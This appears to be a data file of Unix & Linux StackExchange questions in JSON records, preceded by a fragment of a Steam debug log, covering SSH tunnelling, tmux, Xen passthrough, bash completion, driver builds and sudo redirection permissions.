LIBDBUSMENU-GLIB-WARNING **: Trying to remove a child that doesn't believe we're it's parent. (steam:4437): LIBDBUSMENU-GLIB-WARNING **: Trying to remove a child that doesn't believe we're it's parent. (steam:4437): LIBDBUSMENU-GLIB-WARNING **: Trying to remove a child that doesn't believe we're it's parent. (steam:4437): LIBDBUSMENU-GLIB-WARNING **: Trying to remove a child that doesn't believe we're it's parent. (steam:4437): LIBDBUSMENU-GLIB-WARNING **: Trying to remove a child that doesn't believe we're it's parent. (steam:4437): LIBDBUSMENU-GLIB-WARNING **: Trying to remove a child that doesn't believe we're it's parent. (steam:4437): LIBDBUSMENU-GLIB-WARNING **: Trying to remove a child that doesn't believe we're it's parent. (steam:4437): LIBDBUSMENU-GLIB-WARNING **: Trying to remove a child that doesn't believe we're it's parent. (steam:4437): LIBDBUSMENU-GLIB-WARNING **: Trying to remove a child that doesn't believe we're it's parent. (steam:4437): LIBDBUSMENU-GLIB-WARNING **: Trying to remove a child that doesn't believe we're it's parent. (steam:4437): LIBDBUSMENU-GLIB-WARNING **: Trying to remove a child that doesn't believe we're it's parent. (steam:4437): LIBDBUSMENU-GLIB-WARNING **: Trying to remove a child that doesn't believe we're it's parent. Generating new string page texture 82: 128x256, total string texture memory is 1.72 MB Generating new string page texture 83: 384x256, total string texture memory is 2.11 MB ExecCommandLine: \"/home/seth/.steam/root/ubuntu12_32/steam steam://open/driverhelperready\" ExecSteamURL: \"steam://open/driverhelperready\" Game update: AppID 8930 \"Sid Meier's Civilization V\", ProcID 4526, IP 0.0.0.0:0 ERROR: ld.so: object '/home/seth/.steam/ubuntu12_64/gameoverlayrenderer.so' from LD_PRELOAD cannot be preloaded (wrong ELF class: ELFCLASS64): ignored. (steam:4437): LIBDBUSMENU-GLIB-WARNING **: Trying to remove a child that doesn't believe we're it's parent. (steam:4437): LIBDBUSMENU-GLIB-WARNING **: Trying to remove a child that doesn't believe we're it's parent. (steam:4437): LIBDBUSMENU-GLIB-WARNING **: Trying to remove a child that doesn't believe we're it's parent. (steam:4437): LIBDBUSMENU-GLIB-WARNING **: Trying to remove a child that doesn't believe we're it's parent. (steam:4437): LIBDBUSMENU-GLIB-WARNING **: Trying to remove a child that doesn't believe we're it's parent. (steam:4437): LIBDBUSMENU-GLIB-WARNING **: Trying to remove a child that doesn't believe we're it's parent. (steam:4437): LIBDBUSMENU-GLIB-WARNING **: Trying to remove a child that doesn't believe we're it's parent. (steam:4437): LIBDBUSMENU-GLIB-WARNING **: Trying to remove a child that doesn't believe we're it's parent. (steam:4437): LIBDBUSMENU-GLIB-WARNING **: Trying to remove a child that doesn't believe we're it's parent. (steam:4437): LIBDBUSMENU-GLIB-WARNING **: Trying to remove a child that doesn't believe we're it's parent. (steam:4437): LIBDBUSMENU-GLIB-WARNING **: Trying to remove a child that doesn't believe we're it's parent. (steam:4437): LIBDBUSMENU-GLIB-WARNING **: Trying to remove a child that doesn't believe we're it's parent. (steam:4437): LIBDBUSMENU-GLIB-WARNING **: Trying to remove a child that doesn't believe we're it's parent. ERROR: ld.so: object '/home/seth/.steam/ubuntu12_64/gameoverlayrenderer.so' from LD_PRELOAD cannot be preloaded (wrong ELF class: ELFCLASS64): ignored. Setting breakpad minidump AppID = 8930 Steam_SetMinidumpSteamID: Caching Steam ID: 76561198080162579 [API loaded no] Installing breakpad exception handler for appid(gameoverlayui)/version(20140630132217_client) Installing breakpad exception handler for appid(gameoverlayui)/version(1.0_client) Fontconfig error: \"/etc/fonts/conf.d/10-scale-bitmap-fonts.conf\", line 70: Installing breakpad exception handler for appid(gameoverlayui)/version(1.0_client) non-double matrix element Fontconfig error: \"/etc/fonts/conf.d/10-scale-bitmap-fonts.conf\", line 70: non-double matrix element Fontconfig warning: \"/etc/fonts/conf.d/10-scale-bitmap-fonts.conf\", line 78: saw unknown, expected number [0705/210210:WARNING:proxy_service.cc(958)] PAC support disabled because there is no system implementation Installing breakpad exception handler for appid(gameoverlayui)/version(1.0_client)"} {"_id": "140853", "title": "Securely tunnel port through intermediate host", "text": "I'm looking to route a port for VNC back to my house here. I have to jump over a single host to then hop to my actual work machine. * `sittinghere` will be my local home machine * `hopper` will by the intermediate hop I need to make * `overthere` will be the remote work machine I can do this to SSH into my work machine: ssh -t hopper \"ssh -t overthere\" I'd like to use port forwarding to forward remote port 5900 on `overthere` to local port 5900 on `sittinghere`. However, I'd prefer to be able to do it without binding to a port openly on `hopper` as anyone on that machine would be able to attach to my VNC connection. Is there any way for me to forward that port to my local machine securely with no one being able to get access to it on `hopper`?"} {"_id": "125648", "title": "How can I see when package has been upgraded?", "text": "Is there a way to see the upgrade history with date with some program e.g. apt? I want to know when exactly I upgraded security relevant packages the last time and the time before that... Thanks a lot! **Edit:** My bad. Forgot to mention that I am using Crunchbang waldorf. Sorry."} {"_id": "125649", "title": "How do I break up a file like split to stdout for piping to a command?", "text": "I have a large .sql file full of SELECT statements that contain data I want to insert into my SQL Server database. I'm looking for how I could basically take the file's contents, 100 lines at a time, and pass it to the commands I have set to do the rest. Basically, I'm looking for `split` that will output to stdout, not files. I'm also using CygWin on Windows, so I don't have access to the full suite of tools."} {"_id": "121549", "title": "What does it mean exactly when a processes \"Time\" has stopped in top?", "text": "I'll be looking into why we're getting critical swap alerts, and I'll find something like: PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ SWAP COMMAND 14683 user1 30 10 16.0g 772m 744 S 0.3 0.3 277:24.87 6.5g MATLAB 14576 user1 30 10 8125m 1.1g 736 S 0.3 0.4 261:16.73 4.1g MATLAB where the TIME+ column is frozen for those processes. My question is, in the above, what does this imply? As I understand it, stopped time means that it's a dormant process/not being processed by the CPU. However the above example shows 0.3% CPU use, so despite the fact that it's very small, shouldn't the time column continue incrementing? Are these processes \"finished\"? In which case, how are they cleaned up? Does the user who started them need to acknowledge them or something for those resources to be freed up?"} {"_id": "125647", "title": "Get TMux scroll buffer contents", "text": "With TMux, is there any way to programmatically retrieve scroll buffer content from above the current command line? I'm basically looking to write a bash script to iterate upwards until I find a matching string. To be clear, I don't want to go through history of typed commands; I want to go through everything that appeared on the console."} {"_id": "125645", "title": "Setting up HDMI output from Linux console", "text": "I am currently running Debian Wheezy on a HP Microserver N54L with an AMD Radeon 5450 video card. I would like to be able to play audio from the console through the HDMI port of my video card and into my receiver, a Panasonic SA-XR57. I previously achieved this on a Raspberry Pi running raspbian by setting the HDMI output to \"safe mode\" (the default mode was incompatible with my aging receiver), but I am not sure how to replicate these settings in Debian. Any ideas on how I could get started would be appreciated, because I'm not sure how to even start with this problem. EDIT: I should make it clear that my problem is getting my receiver to handle the HDMI signal by working out how to change the HDMI settings to a more compatible mode, rather than anything specifically audio related. EDIT2: I've discovered a few facts in the last couple of hours which I thought I should put up here. The error I get on my receiver is \"U70-1-2\", of which in the manual says \"the unit has received a signal for a picture format that is incompatible with the HDMI connection. Check the settings of the connected equipment\". I get this error in the Linux console, the bios, and in grub menus. I also had this error with my Raspberry Pi, but it was solved by enabling \"safe mode\" in the rpi's config.txt file. EDIT3: Okay, I've worked out how to change the resolution to something low and compatible (I believe this is the resolution in the rpi safe mode) in the console by adding video=HDMI-A-1:640x480@60 to my kernel parameters. This changes my resolution when I'm plugged into a tv, but if I plug into my receiver I get the same error on the receiver side. I think my next step is to disable EDID, which is also a feature of rpi's safe mode. I've googled a bit to no avail, so at the moment my question is: How do I disable EDID during the boot process? EDIT4: Today I've tried recompiling the kernel with CONFIG_DRM_LOAD_EDID_FIRMWARE enabled and booting with the kernel parameter drm_kms_helper.edid_firmware=HDMI-A-1:edid/1024x768.bin - which I believe should load a fixed EDID file in (although I'm not sure, because I've read conflicting things on whether or not the sample EDID files are hardwired into the kernel). On booting the receiver sends the same error and in dmesg I have the errors: [ 346.374275] platform HDMI-A-1: firmware: agent aborted loading edid/1024x768.bin (not found?) [ 346.374483] [drm] Got built-in EDID base block and 0 extensions from \"edid/1024x768.bin\" for connector \"HDMI-A-1\" EDIT5: ~~I have also tried getting the EDID file in Windows and loading that in to the kernel - which works, except still gives an error on my receiver. When I extracted the EDID file I used the same receiver but a different computer with a different graphics card - as far as I'm aware the EDID file is only dependent on the monitor (in this case receiver) so it shouldn't matter on the graphics card, is this correct?~~ Turns out that Windows cannot read an EDID file for my receiver and I was scraping the one from my monitor. EDIT6: Okay, I got it. It turns out that I needed audio enabled (radeon.audio=1 in kernel parameters) in order for my receiver to get signal. Makes sense, but very annoying that my receiver manual told me that it was a video error, I was planning on worrying about the audio afterwards!"} {"_id": "125642", "title": "How can I use an \"alias\" for the destination directory when copying?", "text": "I frequently edit startup files such as my `.bashrc` file Then I copy them to another direction such as `~/Dropnot/level1/setups/bash1` Is there any way I can `cp` such files to the above location with something like an alias? I currently have an alias to cd to it with `alias n='cd ~/Dropnot/level1/setups/bash1'` I'd like something that would handle any file I pass into it."} {"_id": "55204", "title": "How to see the commands executed in another shell?", "text": "Is there a way to watch what commands are being executed in another shell, as they're being executed? Both shells are bash, and I have root access, if that matters. I can't install any extra software, and I don't want the other shell to have to do anything special like run screen. Situation: I'm remotely logged into a Linux machine, and so is a coworker. I would like to see the commands she is running in her shell. I know that I could use some combination of `watch` and `ps` to see any commands that take longer than a second to run, but I don't believe that would help with very short commands."} {"_id": "55207", "title": "PCI passthrough with Xen", "text": "I am trying to run Windows XP in a Xen DomU virtual machine with a PCIe device, for which there are no Linux drivers, being passed through from a Debian Squeeze Dom0. My hardware supports virtualization and it is active in the bios. If I run grep -E \"(vmx|svm)\" --color=always /proc/cpuinfo when I boot from the standard kernel I can see my processor supports vmx, although when I boot the Xen kernel, vmx doesn't show up. I have followed the setup in http://wiki.xen.org/wiki/Xen_Beginners_Guide. The guide basically creates a minimal Debain Squeeze install as Dom0, a PV Debian Squeeze DomU and a HVM Windows DomU running on an LVM volume. I have followed the guide essentially to the letter with the only differences being network bridge is different and I didn't install a Debian PV DomU. I currently have a DomU on an LVM volume that is running a fully updated version of Windows XP with the GPLPV drivers. I am now trying to pass the PCI device, but am running into problems. If I compare the output of `lspci` with and without the PCIe card that I am trying to pass I see the following two new entries: 05:00.0 PCI bridge: PLX Technology, Inc. PEX 8111 PCI Express-to-PCI Bridge (rev 21) 06:04.0 Bridge: Device 4550:9054 (rev 01) I also see that another entry has changed its address from 06:00.0 IDE interface: Marvell Technology Group Ltd. 88SE6121 SATA II Controller (rev b2) to 07:00.0 IDE interface: Marvell Technology Group Ltd. 88SE6121 SATA II Controller (rev b2) I modified `/etc/default/grub` to include either GRUB_CMDLINE_XEN=\"xen-pciback.hide=(05:00.0)(06:04.0)\" or GRUB_CMDLINE_XEN=\"pciback.hide=(05:00.0)(06:04.0)\" and run `update-grub` and `update-grub2` after making the change and then fully powered down and rebooted. This doesn't appear to do anything and nothing shows up with xm pci-list-assignable-devices Looking at the Xen wiki guide http://wiki.xen.org/wiki/Xen_PCI_Passthrough I have tried things like echo 0000:05:00.0 > /sys/bus/pci/devices/0000:05:00.0/driver/unbind echo 0000:05:00.0 > /sys/bus/pci/drivers/pciback/new_slot echo 0000:05:00.0 > /sys/bus/pci/drivers/pciback/bind and some other stuff related to pci-stub. Sometimes my random fiddling results in xm pci-list-assignable-devices listing 05:00.0 and 06:04.0. If I modify my .cfg file to include pci = ['05:00.0', '06:04.0'] I get an error about pci-stub not owning the 05:00.0 device. If I only try and pass 06:04.0 the DomU won't boot. Any ideas how to get pci passthrough working."} {"_id": "141103", "title": "mdadm - exclude drive from monitor", "text": "I have created a RAID 1 array with a single drive (in order to add a second drive later). `# mdadm --create /dev/md5 --level=1 --raid-devices=2 /dev/sdc1 missing` But, I execute `/sbin/mdadm --monitor --scan --oneshot`, it sends me a `DegradedArray event` e-mail. Even if this is true, I would like to know if it's possible to exclude `/dev/md5` from this check ?"} {"_id": "141101", "title": "bash does not autocomplete my command when using sudo?", "text": "I'm using SaltStack. I would like to auto-complete the minion name when calling `salt` command. The following line has been added into `~/.bashrc`: complete -o default -o nospace -W \"$(sudo ls -1 /var/cache/salt/master/minions)\" salt Then typing `salt in` --> `salt integration-`, I can see it works as expected: $ salt integration- integration-c integration-u integration-u2 To use with `sudo`, I have added `complete -cf sudo` into `~/.bashrc`, but it didn't work: `sudo salt in So first, let's see how much your bash_completion package does. How can I check that? Here's my function: # a wrapper method for the next one, when the offset is unknown _command() { local offset i # find actual offset, as position of the first non-option offset=1 for (( i=1; i <= COMP_CWORD; i++ )); do if [[ \"${COMP_WORDS[i]}\" != -* ]]; then offset=$i break fi done _command_offset $offset } # A meta-command completion function for commands like sudo(8), which need to # first complete on a command, then complete according to that command's own # completion definition - currently not quite foolproof (e.g. mount and umount # don't work properly), but still quite useful. # _command_offset() { local cur func cline cspec noglob cmd i char_offset word_offset \\ _COMMAND_FUNC _COMMAND_FUNC_ARGS word_offset=$1 # rewrite current completion context before invoking # actual command completion # find new first word position, then # rewrite COMP_LINE and adjust COMP_POINT local first_word=${COMP_WORDS[$word_offset]} for (( i=0; i <= ${#COMP_LINE}; i++ )); do if [[ \"${COMP_LINE:$i:${#first_word}}\" == \"$first_word\" ]]; then char_offset=$i break fi done COMP_LINE=${COMP_LINE:$char_offset} COMP_POINT=$(( COMP_POINT - $char_offset )) # shift COMP_WORDS elements and adjust COMP_CWORD for (( i=0; i <= COMP_CWORD - $word_offset; i++ )); do COMP_WORDS[i]=${COMP_WORDS[i+$word_offset]} done for (( i; i <= COMP_CWORD; i++ )); do unset COMP_WORDS[i]; done COMP_CWORD=$(( $COMP_CWORD - $word_offset )) COMPREPLY=() _get_comp_words_by_ref cur if [[ $COMP_CWORD -eq 0 ]]; then _compopt_o_filenames COMPREPLY=( $( compgen -c -- \"$cur\" ) ) else cmd=${COMP_WORDS[0]} if complete -p ${cmd##*/} &>/dev/null; then cspec=$( complete -p ${cmd##*/} ) if [ \"${cspec#* -F }\" != \"$cspec\" ]; then # complete -F # get function name func=${cspec#*-F } func=${func%% *} if [[ ${#COMP_WORDS[@]} -ge 2 ]]; then $func $cmd \"${COMP_WORDS[${#COMP_WORDS[@]}-1]}\" \"${COMP_WORDS[${#COMP_WORDS[@]}-2]}\" else $func $cmd \"${COMP_WORDS[${#COMP_WORDS[@]}-1]}\" fi # remove any \\: generated by a command that doesn't # default to filenames or dirnames (e.g. sudo chown) # FIXME: I'm pretty sure this does not work! if [ \"${cspec#*-o }\" != \"$cspec\" ]; then cspec=${cspec#*-o } cspec=${cspec%% *} if [[ \"$cspec\" != @(dir|file)names ]]; then COMPREPLY=(\"${COMPREPLY[@]//\\\\\\\\:/:}\") else _compopt_o_filenames fi fi elif [ -n \"$cspec\" ]; then cspec=${cspec#complete}; cspec=${cspec%%${cmd##*/}}; COMPREPLY=( $( eval compgen \"$cspec\" -- \"$cur\" ) ); fi elif [ ${#COMPREPLY[@]} -eq 0 ]; then _filedir fi fi } > if you type sudo `mkdir `, does it show a list of directories? Yes: $ sudo mkdir .FontForge/ .djangopypi2/ .ievms/ .ssh/ .wireshark-etc/"} {"_id": "141100", "title": "Extracting a string from fdisk command", "text": "I want to write a shell script, which will run `fdisk -l` and extract a string `/dev/sdbn` from the output of `fdisk -l`. Using extracted word I want to mount it to `/mnt`. For Example: Disk identifier: 0x00000000 Device Boot Start End Blocks Id System /dev/sdb1 * 1 493 3956672 6 FAT16 How do I only extract the string `/dev/sdb1`?"} {"_id": "141431", "title": "annotate \"include\" file for grep with comments?", "text": "I do a `grep` sort that includes certain strings. That is, give me the lines in a file that DO contain certain strings. As in grep -fv include file > out That command looks in `file` and sends to `out` every line that matches what is in the file `include`. No problem with that. Works fine. BUT How do I put comments in my `include` file? For example, I'd like to annotate that file with some (e.g. `#`) comments that explain what I'm including. So I'd like for `grep` to ignore any lines in the `include` file that start with `#`. How do I do that?"} {"_id": "84229", "title": "Change filename from lowercase to uppercase recursively", "text": "I have 1,000,000 files in some folders and subfolders. I want to rename them from lowercase to uppercase using shell commands. I don't want to modify the extension. only filename part. I have found this one: rename 's/^([^.]*)\\.(.*)$/\\U$1\\E.$2/' * but it is not recursive and only works on files in current folder. Then I tried this one: find . -depth -execdir rename 's/^([^.]*)\\.(.*)$/\\U$1\\E.$2/' {} \\; But no files changed. How can I use it recursively?"} {"_id": "141108", "title": "change date format and store in variable using awk", "text": "I have date in format YYYY-MM-DD in variable 'a'. I want to convert it in format YYYYMMDD and store in variable 'b'. The variable is in an awk variable. How can I do the same ?"} {"_id": "81998", "title": "Understaning of diff output", "text": "I have `file1.txt` this is the original text line2 line3 line4 happy hacking ! and `file2.txt` this is the original text line2 line4 happy hacking ! GNU is not UNIX if I do: `diff file1.txt file2.txt` I get: 3d2 < line3 5a5 > GNU is not UNIX How is the output generally interpreted? I think that `<` means removed but what do `3d2` or `5a5` mean? If I do: $ diff -u file1.txt file2.txt --- file1.txt 2013-07-06 17:44:59.180000000 +0200 +++ file2.txt 2013-07-06 17:39:53.433000000 +0200 @@ -1,5 +1,5 @@ this is the original text line2 -line3 line4 happy hacking ! +GNU is not UNIX The results are clearer but what does `@@ -1,5 +1,5 @@` mean?"} {"_id": "4632", "title": "Is it possible to find out which files are setting/adding to environment variables, and their order of precedence?", "text": "Some of my environment variables (`$PATH`, `$MANPATH` and friends) are partially set up in different source files. I find myself wishing for a command or method to quickly gather _what part_ , in a specific environment variable, came from _what file_. My $PATH, for instance, has obviously been set (added to) in `.bashrc`, `/etc/paths`, `/etc/paths.d/X11` \u2026 and I'm still looking for that last mysterious file which superfluously created a duplicate path definition in my `$PATH`. It takes a good while to manually pinpoint the files that contribute to environment variables. There must be a useful way to bypass this unnecessary labor of tracing all the setters \u2026 or am I the only one thinking along these lines?"} {"_id": "81992", "title": "Better way to add alternative using update-alternatives?", "text": "I'm sorry for my bad writing, I'm not a native speaker. I've looked up the manual of `update-alternatives` several times but I can't find out how to show the current link pointing to a specific alternative, and that information is needed when adding a new alternative. From the `update-alternatives` manual: --install Let's say I want to add a new version of Java Runtime Edition, but I don't know the current symlink that links to the alternative (`` parameter). What I currently do is: sudo update-alternatives --install /tmp/randomStuff java /usr/local/java/jre1.7.0_25/bin/java 0 That command will output: update-alternatives: renaming java link from /usr/local/bin/java to /tmp/randomStuff. Reading the output I find out the old link that was pointing to the alternative, so I can finally run my command again with the right `` parameter, changing `/tmp/randomStuff` to `/usr/local/bin/java`: sudo update-alternatives --install /usr/local/bin/java java /usr/local/java/jre1.7.0_25/bin/java 0 That works fine, but as you see, running the command with `/tmp/randomStuff` as the `` parameter is very awkward. So, here comes the questions: (1) Are there any `update-alternative` arguments that can output the current link that is pointing to a specific alternative, or (2) is there a way to install a new alternative without having to provide a new parameter, simply keeping the current ``? Thanks for your help."} {"_id": "81995", "title": "backlight doesn't work with Linux Mint 14 on my Gateway NV78 laptop", "text": "Here is my problem it is Bug 765438--the backlight will not work on my Gateway NV 78 laptop. Won't work with Linux Mint 14, ubuntu from ubuntu 11.04 onward won't work with ps-bcd. Of course it works great with any Windows system, It works with the Ubuntu super OS but not Linux Mint. There is a fix. I just have to open /etc/rc.local and edit a command Someone sent in this fix : enter `i915.broken=1` into command line create a script under `/etc/init.d`: #! /bin/sh echo \"Fixing backlight for gateway NV78\" setpci -s 00:02.0 F4.B=00 exit 0 Include that script path in `/etc/rc/local` before `exit 0` Create script `/etc/pm/sleep.d/10_fix_backlight ` : #!/bin/sh # fixGateway NV78 backlight PATH=/sbin:/usr/sbin:/bin:usr?bin if [ ! -x /etc/init.d/fix_backlight }: then exit 0 make the script executable: sudo chmod 755 /etc/init.d/fix_backlight; sudo chmod 755 /etc/pm/sleep.d/fix_backlight; add `acpi_osi=Linux` to default grub start up script: sudo gedit /etc/default/grub add `acpi_osi=Linux` after quite splash screen then sudo update-grub That's the fix, but I have no idea at all what to do to accomplish this. I really don't want to visit a Linux technician for this help. Any guidance where these files are will help. I know where the /etc file is but can not open the /etc/rc/local file at all."} {"_id": "124327", "title": "How to run Plasma on VPN server without leaving terminal?", "text": "How do I run KDE Plasma on local VPN server on Arch Linux on another VPN client without running it on the hosting server or leaving its terminal?"} {"_id": "81997", "title": "Install BCM 4365 drivers in Backtrack 5R3", "text": "I have recently installed Backtrack 5 R3. When I try to run: sudo apt-get install bcmwl-kernel-source I get the following error: Error! Bad return status for module build on kernel: 3.2.6 (x86_64) Consult the make.log in the build directory /var/lib/dkms/bcmwl/5.60.48.36+bdcom/build/ for more information. dpkg: error processing bcmwl-kernel-source (--configure): subprocess installed post-installation script returned error exit status 10 Errors were encountered while processing: bcmwl-kernel-source E: Sub-process /usr/bin/dpkg returned an error code (1) What does that mean and how can I fix it? I followed the instructions from a guide here on U&L. * * * ### /var/lib/dkms/bcmwl/5.60.48.36+bdcom/build/make.log DKMS make.log for bcmwl-5.60.48.36+bdcom for kernel 3.2.6 (x86_64) Wed Jul 10 21:04:16 PKT 2013 make: Entering directory `/usr/src/linux-source-3.2.6' WARNING: Symbol version dump /usr/src/linux-source-3.2.6/Module.symvers is missing; modules will have no dependencies and modversions. LD /var/lib/dkms/bcmwl/5.60.48.36+bdcom/build/built-in.o CC [M] /var/lib/dkms/bcmwl/5.60.48.36+bdcom/build/src/shared/linux_osl.o CC [M] /var/lib/dkms/bcmwl/5.60.48.36+bdcom/build/src/wl/sys/wl_linux.o /var/lib/dkms/bcmwl/5.60.48.36+bdcom/build/src/wl/sys/wl_linux.c:219: error: unknown field \u2018ndo_set_multicast_list\u2019 specified in initializer /var/lib/dkms/bcmwl/5.60.48.36+bdcom/build/src/wl/sys/wl_linux.c:219: warning: initialization from incompatible pointer type /var/lib/dkms/bcmwl/5.60.48.36+bdcom/build/src/wl/sys/wl_linux.c: In function \u2018_wl_set_multicast_list\u2019: /var/lib/dkms/bcmwl/5.60.48.36+bdcom/build/src/wl/sys/wl_linux.c:1435: error: \u2018struct net_device\u2019 has no member named \u2018mc_list\u2019 /var/lib/dkms/bcmwl/5.60.48.36+bdcom/build/src/wl/sys/wl_linux.c:1435: error: \u2018struct net_device\u2019 has no member named \u2018mc_count\u2019 /var/lib/dkms/bcmwl/5.60.48.36+bdcom/build/src/wl/sys/wl_linux.c:1436: error: dereferencing pointer to incomplete type /var/lib/dkms/bcmwl/5.60.48.36+bdcom/build/src/wl/sys/wl_linux.c:1442: error: dereferencing pointer to incomplete type make[1]: *** [/var/lib/dkms/bcmwl/5.60.48.36+bdcom/build/src/wl/sys/wl_linux.o] Error 1 make: *** [_module_/var/lib/dkms/bcmwl/5.60.48.36+bdcom/build] Error 2 make: Leaving directory `/usr/src/linux-source-3.2.6'"} {"_id": "130898", "title": "Dropbox icon is disappeared in Mint 16 Cinnamon", "text": "Dropbox icon was between Mint update manager and keyboard icon, but it was disappeared like the image below. ![enter image description here](http://i.stack.imgur.com/RJIw6.jpg) Dropbox is still running, how can I make it appear in task tray again without logging out? I'm using LinuxMint 16 Cinnamon."} {"_id": "1416", "title": "Redirecting stdout to a file you don't have write permission on", "text": "When you attempt to modify a file without having write permissions on it, you get an error: > touch /tmp/foo && sudo chown root /tmp/foo > echo test > /tmp/foo zsh: permission denied: /tmp/foo Sudoing doesn't help, because it runs the command as root, but the shell handles redirecting stdout and opens the file as you anyway: > sudo echo test > /tmp/foo zsh: permission denied: /tmp/foo Is there an easy way to redirect stdout to a file you don't have permission to write to, besides opening a shell as root and manipulating the file that way? > sudo su # echo test > /tmp/foo"} {"_id": "129370", "title": "Write a file in /var/lib/sysnews/", "text": "In that folder are stored the `news` files: they can be created by the system administrator to write some informations for the users, as suggested in this link. I tried as a normal user to add a file in `/var/lib/sysnews`, but nor this command echo \"Hello world\" > /var/lib/sysnews neither this command sudo echo \"Hello world\" > /var/lib/sysnews worked (it gives _permission denied_ error). The folder is owned by `root` user and by the `staff` group. My normal user was already in the `sudo` group; I added the `staff` group for my user, but with no results. I can add news only by creating a file in one of my folders and then typing sudo mv myfile /var/lib/sysnews but it is bothering. Is there a simpler way to add some news file to that folder without being root?"} {"_id": "4335", "title": "How to insert text into a root-owned file using sudo?", "text": "> **Possible Duplicate:** > Redirecting stdout to a file you don't have write permission on Running a command like `sudo echo 'text' >> /file.txt` fails with: bash: /file.txt: Permission denied"} {"_id": "16894", "title": "sudo here-document / concatenation?", "text": "> **Possible Duplicate:** > Redirecting stdout to a file you don't have write permission on I'm new i'm trying to learn shell scripting. Is there a way to force a concatenation and override the privileges doing the following one line command? `read domain; echo \"127.0.1.1 $domain \" >> /etc/hosts` What i'm trying to do is just create a simple script to type in the domain and then add it to my hosts file for development. Since my hosts file has restrictive permissions (even though i'm the only user with sudo powers) it won't let go. The ideal output would just do the following: `127.0.0.1 foo.l`"} {"_id": "31322", "title": "permission denied when redirecting sudo sed output", "text": "> **Possible Duplicate:** > Redirecting stdout to a file you don't have write permission on I'm trying to install drupal according to the instructions given in this tutorial: http://how-to.linuxcareer.com/how-to-install-drupal-7-on-ubuntu- linux and am stuck on a step: $ cd /etc/apache2/sites-available $ sudo sed 's/www/www\\/drupal/g' default > drupal bash: drupal: Permission denied The permissions for `/var/www/drupal` are set to 777."} {"_id": "154579", "title": "Emptying a file for root user does not work", "text": "I use below command to empty a file > file.txt It works perfectly fine! But there are some files with `root` user permissions. So I tried sudo > different-file.txt and I got below verbose usage: sudo [-D level] -h | -K | -k | -V usage: sudo -v [-AknS] [-D level] [-g groupname|#gid] [-p prompt] [-u user name|#uid] usage: sudo -l[l] [-AknS] [-D level] [-g groupname|#gid] [-p prompt] [-U user name] [-u user name|#uid] [-g groupname|#gid] [command] usage: sudo [-AbEHknPS] [-C fd] [-D level] [-g groupname|#gid] [-p prompt] [-u user name|#uid] [-g groupname|#gid] [VAR=value] [-i|-s] [] usage: sudo -e [-AknS] [-C fd] [-D level] [-g groupname|#gid] [-p prompt] [-u user name|#uid] file ... This suggests that there is some syntax error in my command. What is wrong?"} {"_id": "25747", "title": "where should I put the sudo in this command?", "text": "> **Possible Duplicate:** > Redirecting stdout to a file you don't have write permission on `echo \"some words\" >> /etc/apt/source.list` `permission denied` `sudo echo \"some words\" >> /etc/apt/source.list` also return permission denied Then I think maybe the append operator is another command, I should put the sudo before it, so I try `echo \"some words\" >> sudo /etc/apt/source.list` also return permission denied how should I do this task?"} {"_id": "61559", "title": "Root user can't do everything?", "text": "> **Possible Duplicate:** > Redirecting stdout to a file you don\u2019t have write permission on I'm quite new to Linux and I have a permissions questions. I'm using Linux Mint. If I go to `/opt` and do a `$ echo hi > file` it says permission denied. If I try with sudo, like this `$ sudo echo > file` it says permission denied. Isn't sudo to execute the command as superuser? How do I get permission denied as SU? If I do a `$ sudo su` and after that I do a `$ echo > file` it works. Is sudo su not the same as sudo?"} {"_id": "151092", "title": "Permission denied when trying to write to a file in /sys directory", "text": "I'm trying to manually set the speed of the fan on my Macbook Pro 7.1 which is running Crunchbang Linux Waldorf. I'm following the instructions in this blog article http://allanmcrae.com/2010/05/simple-macbook-pro-fan-daemon/ I need to write to a file but I'm getting permission denied when running this command sudo echo 1 > /sys/devices/platform/applesmc.768/fan1_manual"} {"_id": "78657", "title": "Can't edit /proc/sys/net/core/wmem_max", "text": "Recently my wireless network has being stopping to transfer data from some irregular time intervals that vary from 30 seconds to 20 minutes, and every time I need to plug off and then on the wireless adapter. Using ping (`ping 8.8.8.8`) to see what happens, and when data transfer stops I receive this message: > ping: sendmsg: No buffer space available So I found out that a solution for this is to increase buffer size with this command: sudo echo 83886080 > /proc/sys/net/core/wmem_max Although I can't execute this command, when I hit enter I get this: > bash: /proc/sys/net/core/wmem_max: Permission denied Trying the command without `sudo` or with `gksu` returns the same message. Through GEdit I can open `/proc/sys/net/core/wmem_max` file, and opening as administrator it enables me to click the 'Save' button, although after changing the value and hitting the button it returns me this message: > Could not create a temporary backup file while saving > /proc/sys/net/core/wmem_max > > gedit could not backup the old copy of the file before saving the new one. > You can ignore this warning and save the file anyway, but if an error occurs > while saving, you could lose the old copy of the file. Save anyway? And even clicking in the 'Save anyway' button it returns the very same message."} {"_id": "148592", "title": "Why do I get \"Permission denied\" when redirecting the output of sudo echo \"xyz\" to a file?", "text": "Why do I get -bash: test: Permission denied when I run sudo echo \"xyz\" > test The directory permissions are: drwxr-xr-x 3 root root 4096 2014-08-05 16:26 I have no problem creating a file in the directory using `sudo`. But why can't I sudo echo into it?"} {"_id": "27312", "title": "Why can I copy files to, but not create files in, this directory?", "text": "> **Possible Duplicate:** > Redirecting stdout to a file you don't have write permission on I'm trying to create an `md5sum` for an ISO image created with the Ubuntu Customization Kit tools. The ISO is created by the tools, which have to be run with `sudo`, in ~/tmp/remaster-new-files/ which has permissions: drwxr-xr-x 2 root root remaster-new-files So I `cd` to that directory and run sudo md5sum my.iso > my.iso.md5 and I get the following error: bash: my.iso.md5: Permission denied I can create the md5 sum somewhere else and use `sudo mv` to move it into place, exactly where it would be if the `sudo md5sum` command succeeded. Also, if I change user to `root` with `sudo su root`, I can run the `md5sum` command successfully. Why can't I use `sudo` to create files in this directory, given that I can use `sudo` to move files to it?"} {"_id": "42801", "title": "How do I append text to a write protected file", "text": "> **Possible Duplicate:** > Redirecting stdout to a file you don't have write permission on I am trying to append a line of text to a write protected file. I tried to accomplish this with `sudo echo \"New line to write\" >> file.txt` but I get a permission denied error -- presumably because it is trying to sudo the string, not the act of appending it to a file. If I run `sudo vi file.txt` and authenticate I can happily write away. Any help would be greatly appreciated."} {"_id": "47183", "title": "Script with root permission", "text": "> **Possible Duplicate:** > Redirecting stdout to a file you don't have write permission on I am creating a script to change the brightness of my laptop. I discovered that I can do this using echo 1000 > /sys/class/backlight/intel_backlight/brightness for example. But I must to do this as root, not with `sudo` command. Well, I created the file `/usr/bin/brilho` containing echo \"$1\" > /sys/class/backlight/intel_backlight/brightness and now I can execute it with `brilho 1000`. But the problem is the permission. This does not work with `sudo brilho 1000` neither `brilho 100`. Again I have to change to 